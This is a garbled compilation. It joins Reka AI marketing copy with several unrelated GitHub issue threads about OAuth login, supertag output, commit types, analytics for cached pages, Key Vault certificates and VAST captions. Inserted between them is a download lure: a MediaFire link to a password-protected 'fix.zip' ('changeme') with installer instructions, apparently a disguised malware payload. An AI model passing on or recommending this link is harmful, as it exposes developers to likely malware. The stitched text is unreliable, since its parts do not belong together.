Ready-to-Use: Reka AI provides a library of pre-trained models for various NLP tasks such as text generation, summarization, translation, sentiment analysis, and question-answering.
Performance-Optimized: These models are trained on large datasets and optimized for performance, allowing users to implement AI capabilities quickly without needing extensive AI expertise or resources.

Custom Model Training

Tailored AI Output: Users can fine-tune and train models on their specific datasets to customize the AI output to their unique needs. This feature is particularly valuable for businesses that require models aligned with domain-specific language and terminology.
Guided Process: The platform offers tools and documentation to guide users through preparing data, training models, and deploying them efficiently.

API Integration

Easy Integration: Reka AI offers user-friendly APIs that enable developers to integrate AI functionalities into existing applications and workflows. This simplifies adding advanced NLP capabilities without starting from scratch.
Multi-Language Support: The APIs are designed for quick deployment with support for multiple programming languages, making integration straightforward across various development environments.

Data Privacy and Security

Secure Data Handling: The platform emphasizes secure data handling practices, ensuring user data remains private and protected throughout the AI processing lifecycle.
Regulatory Compliance: Reka AI complies with industry standards and regulations for data privacy, providing peace of mind to businesses concerned about sensitive information and intellectual property.

Scalable Infrastructure

Adaptable to Business Size: Reka AI supports scalable deployment options, making it suitable for different business sizes, from startups to large enterprises.
Handling Workloads: The platform is built to handle varying workloads, whether deploying a single AI model for a small application or scaling up to support complex, multi-model solutions in high-demand environments.

User-Friendly Interface and Tools

Accessible Design: The platform is designed with a user-friendly interface, making it accessible to both technical and non-technical users.
Performance Management: Reka AI provides robust tools for monitoring, managing, and optimizing model performance, allowing users to refine their AI models easily and effectively.

Benefits of Reka AI

Accelerated Time to Market: With ready-to-use models and easy integration options, Reka AI enables businesses to quickly deploy AI solutions, reducing the time and resources required for development.
Cost-Effective: By leveraging pre-trained models and scalable infrastructure, businesses can reduce the costs associated with building and maintaining AI models from scratch.
Customization and Flexibility: Reka AI supports custom model training, allowing users to adapt AI capabilities to their specific needs, improving the relevance and accuracy of AI-generated outputs.
Enhanced Productivity: The platform's user-friendly tools and APIs simplify the integration and management of AI models, enhancing productivity for developers and data scientists.
Data Security and Compliance: With a strong focus on data privacy and security, Reka AI helps businesses comply with regulatory requirements and protect sensitive information.

Use Cases of Reka AI

Customer Support Automation:

Use AI-powered chatbots and virtual assistants to handle customer inquiries, provide instant responses, and improve customer satisfaction.
Automate repetitive tasks such as FAQ responses, ticket classification, and routing to appropriate support teams.

Content Creation and Management:

Generate high-quality content for marketing, blogs, or social media using AI-driven text generation models.
Automate content summarization, translation, and sentiment analysis to streamline content workflows.

Financial Services:

Implement AI models to analyze financial documents, extract relevant information, and generate insights for risk assessment and decision-making.
Use NLP capabilities to monitor market sentiment, analyze news articles, and support investment strategies.

Healthcare and Life Sciences:

Deploy NLP models to analyze medical records, research papers, and clinical notes to enhance decision-making and improve patient outcomes.
Use AI to automate administrative tasks, such as appointment scheduling, billing, and patient communication.

E-commerce and Retail:

Enhance product recommendations by analyzing customer behavior and preferences using AI-driven models.
Implement AI-powered search and discovery tools to improve user experience and increase sales.

Legal and Compliance:

Utilize NLP models to automate the analysis of legal documents, contracts, and compliance materials, reducing manual effort and improving accuracy.
Use AI to monitor regulatory changes and ensure compliance with industry standards.

What Reka AI Does
Reka AI is focused on providing a comprehensive AI platform that simplifies the adoption of NLP and generative AI technologies. The platform offers a range of tools and services designed to make it easier for businesses to integrate advanced AI capabilities into their workflows. By offering both pre-trained models and the ability to customize models to specific needs, Reka AI caters to a broad range of industries and use cases, from customer support and content creation to finance and healthcare.
Conclusion
Reka AI is a versatile platform that combines the power of advanced AI technologies with ease of use, customization, and scalability. Its focus on providing pre-trained models, robust APIs, and custom training options makes it an ideal choice for businesses and developers looking to leverage AI for various applications. With a strong emphasis on data privacy, security, and compliance, Reka AI is well-positioned to help organizations innovate while protecting their valuable data assets.
Additional Resources

Reka AI Website
Reka AI Discord Community
Reka AI Documentation - Available Models
Reka AI GitHub Repository
Reka AI Documentation
Reka AI Showcase

Priority
High

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."


[ AA ]  examples as integration tests: explore social login via OAuth or login with Hybrid Compute (JWT possibly)

Issue Type

[ ] bug report
[ x] feature request

Expected Behavior
Explore social login via OAuth or login with Hybrid Compute (JWT possibly).
For a dapp to be used use a social login. We could imagine an LDAP user database that we could check via Hybrid Compute bring in a public token that can expire (when it expires - user needs to login again).

this came up in one of the recent calls with a project.


Output should be identical to input on gold supertags

In case gold supertags are given on input (i.e., 1 supertags and 1 head is specified for each token, with probability 1 each), partage should basically behave as an identity function when outputting supertags.
Follow-up of #20.

This should already be the case, but still need to check it.


Add support for specify the conventional commit type

DESCRIPTION
When using the cli, the AI sometimes generates inaccurate commit types. I wanted a way to force the conventional commit type by passing it directly in the cli.

Hey @ChristoferMendes 😄
As this repo seems to be abandoned - please make your PR in this repo


Send request events for cached pages

Context
We have a big inconsistency tracking homepage visits on the GiT website through BigQuery.
BQ Count: 1637 vs GA Count: 65,263. Please see ticket for details.
After some troubleshooting we found that there is page caching of static pages, the homepage being a static page.
GiT website uses rack-page_caching GEM, that implements caching through rack middleware.
The DfE Analytics syncs web request events with a controller after action callback.
Cached pages are served by rack middleware, returning early and therefore do not execute any actions in the controller. This means that any cached page visits handled by rack middleware do NOT result in a web request event being sent to Big Query.
Changes proposed in this pull request
Add a custom  proc which will be called with the rack env, that returns a boolean indicating whether the page is cached and will be served by rack middleware.
Guidance to review
This changes use a version of the dfe-analytics GEM from a PR that is still under development, for testing purposes only.
Once the dfe-analytics GEM has been merged and released, we will then update this PR to to use the released version.
This change has been testing manually only. It is difficult to test in rspec as the caching is set through Rails.application.config.action_controller.perform_caching at startup time. I haven't been able to alter the value of Rails.application.config.action_controller.perform_caching  through rspec tests.

The only thing I noted was the proc will evaluate to the result of attempt when the page is cached which is an array rather than boolean. Is it worth casting to a boolean here or are we happy the calling code will treat that as true?

Thanks for picking this up @ethax-ross. I think it's best to return a boolean here, so I've updated.


Add a support of EV

Hi Team,
This doc mentions as follows.

The following CAs are currently partnered providers with Key Vault:
DigiCert: Key Vault offers OV TLS/SSL certificates.
GlobalSign: Key Vault offers OV TLS/SSL certificates.

But the following doc mentions that KeyVault supports EV or OV.
https://learn.microsoft.com/en-us/azure/key-vault/certificates/create-certificate-signing-request?tabs=azure-portal#add-certificates-in-key-vault-issued-by-partnered-cas
I guess that this we need to add a support of EV to this doc.
Best regards.
Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 5c2c55e7-375e-cad6-5d8f-e3a8abcf0560
Version Independent ID: 8d4d506c-05ec-66a2-5d29-5bb31fbada0b
Content: Tutorial - Updating certificate auto-rotation frequency in Key Vault
Content Source: articles/key-vault/certificates/tutorial-rotate-certificates.md
Service: key-vault
Sub-service: certificates
GitHub Login: @msmbaldwin
Microsoft Alias: mbaldwin

@kongou-ae
Thanks for your feedback! We will investigate and update as appropriate.

@kongou-ae
Thanks for pointing this out. I have performed required changes and it will reflect soon in the document.


Include Closed Captioning support as detailed in the VAST 4.1 specification

Hi, the VAST 4.1 specification introduced closed captioning support.
Videojs-ima doesn't seem to support them at all.
This is important to us because we have a large number of users seeing the ads without audio (about 80%) and also a considerable number of deaf users. We'd like to provide an adequate ad experience to the users in these scenarios as best as we can.

Hi,
The VAST Standard support is brought to the plugin by the IMA SDK for HTML5 which currently doesn't support this feature. You can open a ticket and request support for this feature on the IMA SDK Support forum.

Thanks, I'll do that.